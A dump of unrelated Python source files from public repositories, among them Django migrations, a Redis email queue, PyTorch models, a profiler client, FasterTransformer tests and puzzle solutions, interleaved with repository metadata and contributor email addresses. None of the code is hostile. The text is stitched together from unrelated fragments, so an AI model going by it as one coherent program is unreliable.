'30'}) }, 'blog.comment': { 'Meta': {'unique_together': "(('post', 'number'),)", 'object_name': 'Comment'}, 'body': ('django.db.models.fields.TextField', [], {}), 'datetime': ('django.db.models.fields.DateTimeField', [], {'auto_now': 'True', 'blank': 'True'}), 'from_client': ('django.db.models.fields.CharField', [], {'max_length': '256', 'blank': 'True'}), 'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}), 'is_deleted': ('django.db.models.fields.BooleanField', [], {'default': 'False'}), 'number': ('django.db.models.fields.IntegerField', [], {}), 'post': ('django.db.models.fields.related.ForeignKey', [], {'related_name': "'comments'", 'to': "orm['blog.Post']"}), 'reply_to': ('django.db.models.fields.related.ForeignKey', [], {'to': "orm['blog.Comment']", 'null': 'True', 'blank': 'True'}), 'user': ('django.db.models.fields.related.ForeignKey', [], {'to': "orm['auth.User']"}) }, 'blog.post': { 'Meta': {'unique_together': "(('id', 'user'),)", 'object_name': 'Post'}, 'body': ('django.db.models.fields.TextField', [], {}), 'datetime': ('django.db.models.fields.DateTimeField', [], {'auto_now': 'True', 'blank': 'True'}), 'from_client': ('django.db.models.fields.CharField', [], {'max_length': '256', 'blank': 'True'}), 'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}), 'is_deleted': ('django.db.models.fields.BooleanField', [], {'default': 'False'}), 'tags': ('django.db.models.fields.related.ManyToManyField', [], {'to': "orm['blog.Tag']", 'symmetrical': 'False'}), 'user': ('django.db.models.fields.related.ForeignKey', [], {'to': "orm['auth.User']"}) }, 'blog.recommend': { 'Meta': {'unique_together': "(('post', 'user'),)", 'object_name': 'Recommend'}, 'datetime': ('django.db.models.fields.DateTimeField', [], {'auto_now': 'True', 'blank': 'True'}), 'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}), 'post': ('django.db.models.fields.related.ForeignKey', [], {'to': "orm['blog.Post']"}), 'user': ('django.db.models.fields.related.ForeignKey', [], {'related_name': "'recommends_user'", 'to': "orm['auth.User']"}) }, 'blog.subscribed': { 'Meta': {'unique_together': "(('user', 'subscribe_user'),)", 'object_name': 'Subscribed'}, 'datetime': ('django.db.models.fields.DateTimeField', [], {'auto_now': 'True', 'blank': 'True'}), 'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}), 'subscribe_user': ('django.db.models.fields.related.ForeignKey', [], {'related_name': "'subscribed'", 'to': "orm['auth.User']"}), 'user': ('django.db.models.fields.related.ForeignKey', [], {'related_name': "'me_subscribe'", 'to': "orm['auth.User']"}) }, 'blog.tag': { 'Meta': {'object_name': 'Tag'}, 'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}), 'name': ('django.db.models.fields.CharField', [], {'max_length': '42'}) }, 'contenttypes.contenttype': { 'Meta': {'ordering': "('name',)", 'unique_together': "(('app_label', 'model'),)", 'object_name': 'ContentType', 'db_table': "'django_content_type'"}, 'app_label': ('django.db.models.fields.CharField', [], {'max_length': '100'}), 'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}), 'model': ('django.db.models.fields.CharField', [], {'max_length': '100'}), 'name': ('django.db.models.fields.CharField', [], {'max_length': '100'}) } } complete_apps = ['blog']

[ "apkawa@gmail.com" ]

apkawa@gmail.com

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# 161 B N,M = list(map(int, input().split())) A = list(map(int, input().split())) list.sort(A, reverse=True) print('Yes') if A[M-1] >= (sum(A)/(4*M)) else print('No')

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import datetime import uuid from log import logger from task_queue import connection, QUEUE_KEY def push(message: str, date: datetime.datetime): """Push a message into redis zset :param message: message content :param date: the date this message to be consumed :return: None """ msg_id = str(uuid.uuid4()) pipeline = connection.pipeline() pipeline.set(msg_id, message) pipeline.zadd(QUEUE_KEY, { msg_id: date.timestamp() }) pipeline.execute() logger.info(f'Save a new future email: [message: {message}, date: {date}]') def pop(): """Check the first task in redis(which is the task with the smallest score) if the score(timestamp) is smaller or equal to current timestamp, the task should be take out and done. :return: True if task is take out, and False if it is not the time. """ task = connection.zrange(QUEUE_KEY, 0, 0) if not task: return False, 'No emails now!' msg_id = task[0] timestamp = connection.zscore(QUEUE_KEY, msg_id) now = datetime.datetime.now().timestamp() if timestamp < now or abs(timestamp - now) <= 1e-6: message = connection.get(msg_id) pipeline = connection.pipeline() pipeline.zrem(QUEUE_KEY, msg_id) pipeline.delete(msg_id) pipeline.execute() return True, message return False, "It's too early now!" if __name__ == '__main__': now = datetime.datetime.now() logger.debug('push hello') push('hello', now + datetime.timedelta(seconds=10)) while True: b, m = pop() if b: logger.debug(m)

[ "liuqi0315@gmail.com" ]

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import torch import torch.nn as nn from torch.nn import init from model.attention import Attention class WordAttnClassifier(nn.Module): def __init__(self, query_hidden_size, memory_bank_size, num_classes, attn_mode, dropout=0.0, ordinal=False, hr_enc=False): super(WordAttnClassifier, self).__init__() self.memory_bank_size = memory_bank_size self.query_hidden_size = query_hidden_size self.num_classes = num_classes self.hr_enc = hr_enc # for word level memory bank self._query_vector = nn.Parameter(torch.zeros(1, query_hidden_size)) init.uniform_(self._query_vector, -0.1, 0.1) self.attention_layer = Attention(query_hidden_size, memory_bank_size, coverage_attn=False, attn_mode=attn_mode) # for sent level memory bank if self.hr_enc: self._sent_query_vector = nn.Parameter(torch.zeros(1, query_hidden_size)) init.uniform_(self._sent_query_vector, -0.1, 0.1) self.sent_attention_layer = Attention(query_hidden_size, memory_bank_size, coverage_attn=False, attn_mode=attn_mode) self.ordinal = ordinal self.expanded_memory_size = memory_bank_size if not hr_enc else 2 * memory_bank_size if ordinal: self.classifier = nn.Sequential(nn.Linear(self.expanded_memory_size, self.expanded_memory_size), nn.Dropout(p=dropout), nn.ReLU(), nn.Linear(self.expanded_memory_size, num_classes), nn.Sigmoid()) else: self.classifier = nn.Sequential(nn.Linear(self.expanded_memory_size, self.expanded_memory_size), nn.Dropout(p=dropout), nn.ReLU(), nn.Linear(self.expanded_memory_size, num_classes), nn.LogSoftmax(dim=1)) def forward(self, encoder_memory_bank, src_mask, sent_memory_bank=None, sent_mask=None): """ :param encoder_hidden_states: [batch, src_len, memory_bank_size] :param sent_memory_bank: [batch, sent_num, memory_bank_size] :return: """ batch_size = encoder_memory_bank.size(0) query_vector_expanded = self._query_vector.expand(batch_size, self.query_hidden_size) # [batch, query_hidden_size] context, attn_dist, _ = self.attention_layer(query_vector_expanded, encoder_memory_bank, src_mask) attn_dist_tuple = (attn_dist, None) if self.hr_enc: sent_query_vector_expanded = self._sent_query_vector.expand(batch_size, self.query_hidden_size) # [batch, query_hidden_size] sent_context, sent_attn_dist, _ = self.sent_attention_layer(sent_query_vector_expanded, sent_memory_bank, sent_mask) # [batch, 2 * memory_bank_size] context = torch.cat([context, sent_context], dim=1) attn_dist_tuple = (attn_dist, sent_attn_dist) logit = self.classifier(context) return logit, attn_dist_tuple

[ "kenchanhp@gmail.com" ]

kenchanhp@gmail.com

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/Python-3/basic_examples/strings/string_expandtabs.py

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refs/heads/master

2020-07-08T04:05:03.028015

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s = 'A\tB\tC\tD' print(s) print(s.expandtabs()) s = 'ABCD\tE\tF' print(s) print(s.expandtabs()) s = 'ABCDEFGHIJK\tG' print(s.expandtabs()) s = 'ABCDEFGHIJK\t\tG' print(s.expandtabs()) s = 'ABC\tD' print(s) print(s.expandtabs()) print(s.expandtabs(tabsize=0)) print(s.expandtabs(tabsize=1)) print(s.expandtabs(tabsize=2)) print(s.expandtabs(tabsize=3)) print(s.expandtabs(tabsize=4)) print(s.expandtabs(tabsize=5)) print(s.expandtabs(tabsize=6)) print(s.expandtabs(tabsize=7)) s = 'ABC\tD' print(s.expandtabs(tabsize=-1)) print(s.expandtabs(tabsize=-3))

[ "pankaj.0323@gmail.com" ]

pankaj.0323@gmail.com

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# Copyright (c) Microsoft Corporation. # Licensed under the MIT license. import torch.nn as nn from mlperf_compliance import mlperf_log from seq2seq.utils import gnmt_print import seq2seq.data.config as config from seq2seq.models.seq2seq_base import Seq2Seq from seq2seq.models.encoder import ResidualRecurrentEncoder from seq2seq.models.decoder import ResidualRecurrentDecoder import torchmodules.torchgraph as torchgraph class GNMT(Seq2Seq): """ GNMT v2 model """ def __init__(self, vocab_size, hidden_size=512, num_layers=8, bias=True, dropout=0.2, batch_first=False, math='fp32', share_embedding=False): """ Constructor for the GNMT v2 model. :param vocab_size: size of vocabulary (number of tokens) :param hidden_size: internal hidden size of the model :param num_layers: number of layers, applies to both encoder and decoder :param bias: globally enables or disables bias in encoder and decoder :param dropout: probability of dropout (in encoder and decoder) :param batch_first: if True the model uses (batch,seq,feature) tensors, if false the model uses (seq, batch, feature) :param math: arithmetic type, 'fp32' or 'fp16' :param share_embedding: if True embeddings are shared between encoder and decoder """ super(GNMT, self).__init__(batch_first=batch_first) gnmt_print(key=mlperf_log.MODEL_HP_NUM_LAYERS, value=num_layers) gnmt_print(key=mlperf_log.MODEL_HP_HIDDEN_SIZE, value=hidden_size) gnmt_print(key=mlperf_log.MODEL_HP_DROPOUT, value=dropout) if share_embedding: embedder = nn.Embedding(vocab_size, hidden_size, padding_idx=config.PAD) else: embedder = None self.encoder = ResidualRecurrentEncoder(vocab_size, hidden_size, num_layers, bias, dropout, batch_first, embedder) self.decoder = ResidualRecurrentDecoder(vocab_size, hidden_size, num_layers, bias, dropout, batch_first, math, embedder) def forward(self, input_encoder, input_enc_len, input_decoder): context = self.encode(input_encoder, input_enc_len) hidden = None if isinstance(context, torchgraph.TensorWrapper): hidden = torchgraph.TensorWrapper(hidden, "hidden", context.graph_creator) context = (context, input_enc_len, hidden) output, _, _ = self.decode(input_decoder, context) return output

[ "vibhatha@gmail.com" ]

vibhatha@gmail.com

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[]

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nottyo/intellibot

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refs/heads/master

2020-12-30T23:59:29.795725

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import os import sys import time import traceback from socket import AF_INET from socket import SOCK_STREAM from socket import socket from _prof_imports import ProfilerResponse from prof_io import ProfWriter, ProfReader from prof_util import generate_snapshot_filepath, stats_to_response, get_snapshot_basepath, save_main_module, execfile base_snapshot_path = os.getenv('PYCHARM_SNAPSHOT_PATH') remote_run = bool(os.getenv('PYCHARM_REMOTE_RUN', '')) def StartClient(host, port): """ connects to a host/port """ s = socket(AF_INET, SOCK_STREAM) MAX_TRIES = 100 i = 0 while i < MAX_TRIES: try: s.connect((host, port)) except: i += 1 time.sleep(0.2) continue return s sys.stderr.write("Could not connect to %s: %s\n" % (host, port)) sys.stderr.flush() traceback.print_exc() sys.exit(1) # TODO: is it safe? class Profiler(object): def __init__(self): try: import vmprof_profiler self.profiling_backend = vmprof_profiler.VmProfProfile() self.profiling_backend.basepath = get_snapshot_basepath(base_snapshot_path, remote_run) print('Starting vmprof profiler\n') except ImportError: try: import yappi_profiler self.profiling_backend = yappi_profiler.YappiProfile() print('Starting yappi profiler\n') except ImportError: import cProfile self.profiling_backend = cProfile.Profile() print('Starting cProfile profiler\n') def connect(self, host, port): s = StartClient(host, port) self.initializeNetwork(s) def initializeNetwork(self, sock): try: sock.settimeout(None) # infinite, no timeouts from now on - jython does not have it except: pass self.writer = ProfWriter(sock) self.reader = ProfReader(sock, self) self.reader.start() time.sleep(0.1) # give threads time to start def process(self, message): if hasattr(message, 'save_snapshot'): self.save_snapshot(message.id, generate_snapshot_filepath(message.save_snapshot.filepath, remote_run, self.snapshot_extension()), remote_run) else: raise AssertionError("Unknown request %s" % dir(message)) def run(self, file): m = save_main_module(file, 'run_profiler') globals = m.__dict__ try: globals['__builtins__'] = __builtins__ except NameError: pass # Not there on Jython... self.start_profiling() try: execfile(file, globals, globals) # execute the script finally: self.stop_profiling() self.save_snapshot(0, generate_snapshot_filepath(base_snapshot_path, remote_run, self.snapshot_extension()), remote_run) def start_profiling(self): self.profiling_backend.enable() def stop_profiling(self): self.profiling_backend.disable() def get_stats(self): self.profiling_backend.create_stats() return self.profiling_backend.stats def has_tree_stats(self): return hasattr(self.profiling_backend, 'tree_stats_to_response') def tree_stats_to_response(self, filename, response): return self.profiling_backend.tree_stats_to_response(filename, response) def snapshot_extension(self): if hasattr(self.profiling_backend, 'snapshot_extension'): return self.profiling_backend.snapshot_extension() return '.pstat' def dump_snapshot(self, filename): dir = os.path.dirname(filename) if not os.path.exists(dir): os.makedirs(dir) self.profiling_backend.dump_stats(filename) return filename def save_snapshot(self, id, filename, send_stat=False): self.stop_profiling() if filename is not None: filename = self.dump_snapshot(filename) print('Snapshot saved to %s' % filename) if not send_stat: response = ProfilerResponse(id=id, snapshot_filepath=filename) else: response = ProfilerResponse(id=id) stats_to_response(self.get_stats(), response) if self.has_tree_stats(): self.tree_stats_to_response(filename, response) self.writer.addCommand(response) self.start_profiling() if __name__ == '__main__': host = sys.argv[1] port = int(sys.argv[2]) file = sys.argv[3] del sys.argv[0] del sys.argv[0] del sys.argv[0] profiler = Profiler() try: profiler.connect(host, port) except: sys.stderr.write("Could not connect to %s: %s\n" % (host, port)) traceback.print_exc() sys.exit(1) # add file path to sys.path sys.path.insert(0, os.path.split(file)[0]) profiler.run(file)

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crowdbotics-apps/mobile-13-dev-5964

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# Generated by Django 2.2.13 on 2020-06-13 06:52 from django.conf import settings from django.db import migrations, models import django.db.models.deletion class Migration(migrations.Migration): dependencies = [ migrations.swappable_dependency(settings.AUTH_USER_MODEL), ("home", "0002_load_initial_data"), ] operations = [ migrations.AddField( model_name="customtext", name="caasdc", field=models.ManyToManyField( blank=True, related_name="customtext_caasdc", to="home.HomePage" ), ), migrations.AddField( model_name="customtext", name="sacscs", field=models.ForeignKey( blank=True, null=True, on_delete=django.db.models.deletion.CASCADE, related_name="customtext_sacscs", to=settings.AUTH_USER_MODEL, ), ), ]

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# -*- coding: utf-8 -*- import abc class StringFilter(object): __metaclass__ = abc.ABCMeta @abc.abstractmethod def filter(self, string): """ Parameters ---------- string : str Returns ------- str If the data should not be filtered. Otherwise None. """ raise NotImplementedError

[ "dnguyen0304@gmail.com" ]

dnguyen0304@gmail.com

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no_license

thewchan/impractical_python

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refs/heads/master

2021-05-22T00:41:05.491349

2020-04-04T02:18:16

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""" Pseudo-code ask for length of key initiate possible integers get sum of positive integers get negative integers merge into 1 string get permutation loop through permutation and sum up abs values eliminate those with sum not equal to sum of positive integers print out list of tuples """ from itertools import permutations while True: key_len = input("Enter length of key: ") try: key_len = int(key_len) except ValueError: print("Please enter a number.") continue break positive_integers = list(range(key_len + 1)) positive_integers.pop(0) print( "Possible key values (not including direction): ", *positive_integers, ) negative_integers = [-1 * x for x in positive_integers] all_integers = positive_integers + negative_integers raw_perms = list(permutations(all_integers, key_len)) filtered_perms = [] for perm in raw_perms: abs_perm = [abs(x) for x in perm] set_perm = set(abs_perm) if len(set_perm) == len(perm): filtered_perms.append(perm) print("Valid key combinations:\n", *filtered_perms, sep='\n') print(f"Number of valid key combinations: {len(filtered_perms)}")

[ "thewchan@gmail.com" ]

thewchan@gmail.com

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refs/heads/main

2023-01-23T06:04:43.082815

2020-11-24T18:47:02

null

0

null

UTF-8

Python

false

440

py

def odd_even_project() : number = input("Enter a number :") while number != "x": try: number = int(number) if number%2 == 0 : print("It's an even number =)") else : print("It's an odd number :)") except ValueError: print("Please Enter a valid number") number = input("Enter a number again , and if you wanna exit press 'x' :")

[ "aboubakr.elhabti@gmail.com" ]

aboubakr.elhabti@gmail.com

416028c8780dd01160c0b6dd3d29eb7302eda7ca

3b5ee9aa584bfca56dabc19d75717f6104c0dc95

/gaia/compute_synthetic_decam_fluxes.py

c4888f1d885e08e3fbaada340ff8434fa33f40ce

[]

no_license

rongpu/desi-misc

95690ca99962940fd4a793d523edf4d2ce68b4c3

c700344ebf8f74391fcce69a47e4ca57fc4b34f8

refs/heads/master

2023-09-01T00:49:07.399914

2023-08-11T17:10:40

173,173,912

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0

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UTF-8

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py

# Convert the files from .csv.gz to .fits from __future__ import division, print_function import sys, os, glob, time, warnings, gc import numpy as np import matplotlib.pyplot as plt from astropy.table import Table, vstack, hstack, join import fitsio from multiprocessing import Pool from gaiaxpy import generate, PhotometricSystem output_dir = '/global/cfs/cdirs/desi/users/rongpu/data/gaia_dr3/xp_synthetic_decam_photometry' fns = sorted(glob.glob('/pscratch/sd/r/rongpu/gaia_dr3/xp_continuous_mean_spectrum/XpContinuousMeanSpectrum_*.fits')) print(len(fns)) def do_something(fn): output_fn = os.path.join(output_dir, os.path.basename(fn).replace('XpContinuousMeanSpectrum_', 'XpSyntheticDECam_')) if os.path.isfile(output_fn): print(output_fn, 'already exists!') return None cat = Table(fitsio.read(fn)) # Workaround to make the multidimensional arrays pandas-compatible cat = vstack([cat, cat[:1].copy()]) for col in ['bp_coefficients', 'bp_coefficient_errors', 'bp_coefficient_correlations', 'rp_coefficients', 'rp_coefficient_errors', 'rp_coefficient_correlations']: tmp = list(np.array(cat[col])) tmp.pop() tmp += [np.array([0])] cat[col] = tmp cat = cat[:-1] print(len(cat)) cat = cat.to_pandas() phot_system = PhotometricSystem.DECam photom = generate(cat, photometric_system=phot_system, save_file=False) photom = Table.from_pandas(photom) print(np.allclose(photom['Decam_mag_g'], (-2.5*np.log10(photom['Decam_flux_g']))-56.1), np.allclose(photom['Decam_mag_r'], (-2.5*np.log10(photom['Decam_flux_r']))-56.1), np.allclose(photom['Decam_mag_i'], (-2.5*np.log10(photom['Decam_flux_i']))-56.1), np.allclose(photom['Decam_mag_z'], (-2.5*np.log10(photom['Decam_flux_z']))-56.1), np.allclose(photom['Decam_mag_Y'], (-2.5*np.log10(photom['Decam_flux_Y']))-56.1)) for col in ['Decam_flux_g', 'Decam_flux_r', 'Decam_flux_i', 'Decam_flux_z', 'Decam_flux_Y', 'Decam_flux_error_g', 'Decam_flux_error_r', 'Decam_flux_error_i', 'Decam_flux_error_z', 'Decam_flux_error_Y']: photom[col.replace('Decam_', '')] = photom[col] * 10**31.44 print(np.allclose(photom['Decam_mag_g'], (22.5-2.5*np.log10(photom['flux_g']))), np.allclose(photom['Decam_mag_r'], (22.5-2.5*np.log10(photom['flux_r']))), np.allclose(photom['Decam_mag_i'], (22.5-2.5*np.log10(photom['flux_i']))), np.allclose(photom['Decam_mag_z'], (22.5-2.5*np.log10(photom['flux_z']))), np.allclose(photom['Decam_mag_Y'], (22.5-2.5*np.log10(photom['flux_Y'])))) photom = photom[['source_id', 'flux_g', 'flux_r', 'flux_i', 'flux_z', 'flux_Y', 'flux_error_g', 'flux_error_r', 'flux_error_i', 'flux_error_z', 'flux_error_Y']] photom.write(output_fn) return None n_process = 16 with Pool(processes=n_process) as pool: res = pool.map(do_something, fns, chunksize=1)

[ "rongpu.zhou@gmail.com" ]

rongpu.zhou@gmail.com

bffd8f4a50731672574fa8ad2fd5d12b21e6b2ef

35f9def6e6d327d3a4a4f2959024eab96f199f09

/developer/lab/tools/NVIDIA/FasterTransformer/sample/tensorflow/unit_test/squad_unit_test.py

a938652cd196387dd17c4e11a6540fd972e6272f

[ "Apache-2.0", "CAL-1.0-Combined-Work-Exception", "CAL-1.0", "MIT", "CC-BY-SA-4.0", "LicenseRef-scancode-free-unknown" ]

permissive

arXiv-research/DevLab-III-1

ec10aef27e1ca75f206fea11014da8784752e454

c50cd2b9154c83c3db5e4a11b9e8874f7fb8afa2

refs/heads/main

2023-04-16T19:24:58.758519

2021-04-28T20:21:23

362,599,929

2

0

MIT

2021-04-28T20:36:11

null

UTF-8

Python

false

6,779

py

# Copyright (c) 2020, NVIDIA CORPORATION. All rights reserved. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. from __future__ import print_function import unittest import argparse import os os.environ['TF_CPP_MIN_LOG_LEVEL'] = '3' import os.path import json import copy import sys sys.path.append("./tensorflow/tensorflow_bert") import tensorflow as tf from squad_evaluate_v1_1 import evaluate # from ckpt_type_convert import checkpoint_dtype_cast class TestDecoding(unittest.TestCase): is_init = False @classmethod def setUpClass(cls): super(TestDecoding, cls).setUpClass() if cls.is_init == False: cls.expected_version = '1.1' cls.truth_dataset = "squad_data/dev-v1.1.json" cls.fp32_model_path = "squad_model/model.ckpt" cls.fp16_model_path = "squad_fp16_model/model.ckpt" assert(os.path.isfile(cls.truth_dataset)) assert(os.path.isfile(cls.fp32_model_path + ".index")) if(not os.path.isfile(cls.fp16_model_path + ".index")): os.system("python tensorflow/tensorflow_bert/ckpt_type_convert.py --init_checkpoint={} --fp16_checkpoint={}".format(cls.fp32_model_path, cls.fp16_model_path)) cls.tf_fp32_output_path = "squad_tf_output/fp32/" cls.ft_fp32_output_path = "squad_ft_output/fp32/" cls.ft_fp16_output_path = "squad_ft_output/fp16/" cls.predict_filename = "predictions.json" os.system("python tensorflow/tensorflow_bert/bert/run_squad.py \ --predict_batch_size=8 \ --vocab_file=squad_model/vocab.txt \ --bert_config_file=squad_model/bert_config.json \ --init_checkpoint={} \ --train_file=squad_data/train-v1.1.json \ --do_predict=True \ --predict_file=squad_data/dev-v1.1.json \ --max_seq_length=384 \ --output_dir={}".format(cls.fp32_model_path, cls.tf_fp32_output_path)) cls.tf_fp32_score = cls.run_evaluate(cls, cls.tf_fp32_output_path + cls.predict_filename) print("[INFO] tensorflow results: {}".format(cls.tf_fp32_score)) cls.is_init = True def run_evaluate(self, file_path): with open(file_path) as f, open(self.truth_dataset) as b: f_json = json.load(f) b_json = json.load(b) if (b_json['version'] != self.expected_version): print('Evaluation expects v-' + self.expected_version + ', but got dataset with v-' + b_json['version'], file=sys.stderr) dataset = b_json['data'] score = evaluate(dataset, f_json) return score def test_squad_fp32(self): print("{INFO] test_squad_fp32") os.system("./bin/encoder_gemm 8 384 12 64 0 0") os.system("python tensorflow/tensorflow_bert/run_squad_wrap.py \ --floatx=float32 \ --predict_batch_size=8 \ --vocab_file=squad_model/vocab.txt \ --bert_config_file=squad_model/bert_config.json \ --init_checkpoint={} \ --train_file=squad_data/train-v1.1.json \ --do_predict=True \ --predict_file=squad_data/dev-v1.1.json \ --max_seq_length=384 \ --output_dir={}".format(self.fp32_model_path, self.ft_fp32_output_path)) os.system("rm gemm_config.in") self.ft_fp32_score = self.run_evaluate(self.ft_fp32_output_path + self.predict_filename) print("[INFO] fp32 results: {}".format(self.ft_fp32_score)) assert(self.ft_fp32_score['f1'] > self.tf_fp32_score['f1'] - 0.1) assert(self.ft_fp32_score['exact_match'] > self.tf_fp32_score['exact_match'] - 0.1) def test_squad_fp16(self): print("[INFO] test_squad_fp16") os.system("./bin/encoder_gemm 8 384 12 64 1 0") os.system("python tensorflow/tensorflow_bert/run_squad_wrap.py \ --floatx=float16 \ --predict_batch_size=8 \ --vocab_file=squad_model/vocab.txt \ --bert_config_file=squad_model/bert_config.json \ --init_checkpoint={} \ --train_file=squad_data/train-v1.1.json \ --do_predict=True \ --predict_file=squad_data/dev-v1.1.json \ --max_seq_length=384 \ --output_dir={}".format(self.fp16_model_path, self.ft_fp16_output_path)) os.system("rm gemm_config.in") self.ft_fp16_score = self.run_evaluate(self.ft_fp16_output_path + self.predict_filename) print("[INFO] fp16 results: {}".format(self.ft_fp16_score)) assert(self.ft_fp16_score['f1'] > self.tf_fp32_score['f1'] - 0.1) assert(self.ft_fp16_score['exact_match'] > self.tf_fp32_score['exact_match'] - 0.1) def test_squad_fp16_varSeqlen(self): print("[INFO] test_squad_fp16_varSeqlen") os.system("python tensorflow/tensorflow_bert/run_squad_wrap.py \ --floatx=float16 \ --predict_batch_size=8 \ --vocab_file=squad_model/vocab.txt \ --bert_config_file=squad_model/bert_config.json \ --init_checkpoint={} \ --train_file=squad_data/train-v1.1.json \ --do_predict=True \ --predict_file=squad_data/dev-v1.1.json \ --max_seq_length=384 \ --remove_padding=True \ --output_dir={}".format(self.fp16_model_path, self.ft_fp16_output_path)) self.ft_fp16_score_var_seqlen = self.run_evaluate(self.ft_fp16_output_path + self.predict_filename) print("[INFO] fp16 var seqlen results: {}".format(self.ft_fp16_score_var_seqlen)) assert(self.ft_fp16_score_var_seqlen['f1'] > self.tf_fp32_score['f1'] - 0.1) assert(self.ft_fp16_score_var_seqlen['exact_match'] > self.tf_fp32_score['exact_match'] - 0.1) if __name__ == "__main__": unittest.main()

[ "noreply@github.com" ]

arXiv-research.noreply@github.com

16c119f54f2264d169dc7c2f07b131d64908f831

9e5bf5e7d0bdfa4ff2aca65ac306ed801d146608

/python-26-pydb/pydb_07_blob.py

6afad0b37eb1f44b3fb571eef749d6f9edb40632

[]

no_license

AuroraBoreas/python_advanced_tricks

90b07967789960beec381de676459c1e84b95860

ba0940e25eda52345a27cf9ddffed9d18fa2a031

refs/heads/master

2022-11-27T19:09:45.666017

2020-08-11T17:33:11

275,083,831

0

null

UTF-8

Python

false

2,887

py

import os, sqlite3 def convert_to_bytes(file): with open(file, 'rb') as f: data = f.read() return data def convert_to_file(data, filename): with open(filename, 'wb') as f: f.write(data) return def create_table(): db_path = os.path.join(os.path.dirname(__file__), "blob.db") try: conn = sqlite3.connect(db_path) cursor = conn.cursor() sql_cmd = """CREATE TABLE employees (id INTEGER PRIMARY KEY, name TEXT NOT NULL, photo BLOB NOT NULL, resume BLOB NOT NULL);""" cursor.execute(sql_cmd) conn.commit() print("Created table successfully.") cursor.close() except sqlite3.Error as e: print("Creating table failed.", e) finally: if conn: conn.close() return def insertBlob(employeeId, name, picture, resume): db_path = os.path.join(os.path.dirname(__file__), "blob.db") try: conn = sqlite3.connect(db_path) cursor = conn.cursor() sql_cmd = """INSERT INTO employees (id, name, photo, resume) VALUES (?, ?, ?, ?)""" employPic = convert_to_bytes(picture) employRes = convert_to_bytes(resume) record = (employeeId, name, employPic, employRes) cursor.execute(sql_cmd, record) conn.commit() print("Inserted the record successfully.") cursor.close() except sqlite3.Error as e: print("Inserting record failed.", e) conn.rollback() finally: if conn: conn.close() return def readBlob(): db_path = os.path.join(os.path.dirname(__file__), "blob.db") try: conn = sqlite3.connect(db_path) cursor = conn.cursor() sql_cmd = """SELECT * FROM employees""" cursor.execute(sql_cmd) for result in cursor.fetchall(): Id, name, bytesphoto, bytesresume = result empphoto_path = os.path.join(os.path.dirname(__file__), f"picture_{Id}_{name}.jfif") empres_path = os.path.join(os.path.dirname(__file__), f"resume_{Id}_{name}.jfif") convert_to_file(bytesphoto, empphoto_path) convert_to_file(bytesresume, empres_path) print(f"id:{Id}, name:{name}") os.startfile(empphoto_path) os.startfile(empres_path) except sqlite3.Error as e: print("Error occurred.", e) finally: if conn: conn.close() return create_table() employId = 1 name = 'cat' picture = os.path.join(os.path.dirname(__file__), r"data\employees\picture.jfif") resume = os.path.join(os.path.dirname(__file__), r"data\employees\resume.jfif") insertBlob(employId, name, picture, resume) readBlob()

[ "noreply@github.com" ]

AuroraBoreas.noreply@github.com

0c0b62f6266aab1d890fe4d7d07d06120fad7782

9fcd6a91132fd12731d259fe7d709cdf222381bb

/2022/14/foo.py

f620615c11d7f8917af8cb384035406dd2be5cb9

[]

no_license

protocol7/advent-of-code

f5bdb541d21414ba833760958a1b9d05fc26f84a

fa110cef83510d86e82cb5d02f6af5bb7016f2c7

refs/heads/master

2023-04-05T15:33:26.146031

2023-03-18T14:22:43

159,989,507

0

2

null

UTF-8

Python

false

1,222

py

import sys from itertools import * from util import * def parse(line): return chunks(ints(line), 2) xs = list(map(parse, sys.stdin)) d = set() for row in xs: for (x1, y1), (x2, y2) in zip(row, row[1:]): for x in diffrange(x1, x2): for y in diffrange(y1, y2): d.add((x, y)) maxy = max(y for _, y in d) part1 = True for c in count(): sx, sy = (500, 0) while True: if sy == maxy + 1: if part1: print(c) part1 = False # on bottom floor, rest d.add((sx, sy)) break elif (sx, sy+1) not in d: # point below is free sy += 1 elif (sx-1, sy+1) not in d: # point below and to the left is free sx -= 1 sy += 1 elif (sx+1, sy+1) not in d: # point below and to the right is free sx += 1 sy += 1 elif (sx, sy) not in d: # we can't move down and we haven't fill up all the way, rest here d.add((sx, sy)) break else: # filled up all the way, we're done with part 2 print(c) sys.exit()

[ "niklas@protocol7.com" ]

niklas@protocol7.com

74039f87a612a65381e0ed6e6eed92f1022e8968

4e0ff785b993b6bae70745434e61f27ca82e88f0

/289-Game-of-Life/solution.py

0c90ed85355a13a6e97b67dbdb013dde336eef3d

[]

no_license

NobodyWHU/Leetcode

2ee557dd77c65c5fa8ca938efb6de3793b4de261

d284fa3daab02531e5300867463b293d44737e32

refs/heads/master

2021-01-23T14:05:28.161062

2016-09-23T11:51:51

58,898,114

1

0

null

UTF-8

Python

false

998

py

class Solution(object): def live_nbrs(self,board,i,j,m,n): ms=max(0,i-1) ns=max(0,j-1) me=min(m,i+2) ne=min(n,j+2) count=0 for i1 in xrange(ms,me): for j1 in xrange(ns,ne): if board[i1][j1]&1: count+=1 return count-(board[i][j]&1) def gameOfLife(self, board): """ :type board: List[List[int]] :rtype: void Do not return anything, modify board in-place instead. """ m=len(board) if not m: return n=len(board[0]) lm,ln=map(xrange,[m,n]) for i in lm: for j in ln: num=self.live_nbrs(board,i,j,m,n) if not (board[i][j]&1): board[i][j]=bool(num==3)<<1 else: board[i][j]+=bool(num not in [2,3])<<1 for i in lm: for j in ln: board[i][j]=((board[i][j]&2)>>1)^(board[i][j]&1)

[ "haohaoranran@126.com" ]

haohaoranran@126.com

d4f48a70ecf3ae87af021116d62c44cd8a0dac42

49d9fe8a1c83699e41b9cd4e6764e640e69243a8

/ekd_documents_stage.py

7fd8bb338614c646298456ea7da30a8793837927

[]

no_license

postcoder/ekd_documents

11945361052e2052848aa71e6f425c5d9bb92802

083e1d37e39803aa9dde69b596bbb9305ec35d7b

refs/heads/master

2020-12-11T07:39:35.646593

2011-03-31T05:25:03

null

0

null

UTF-8

Python

false

1,081

py

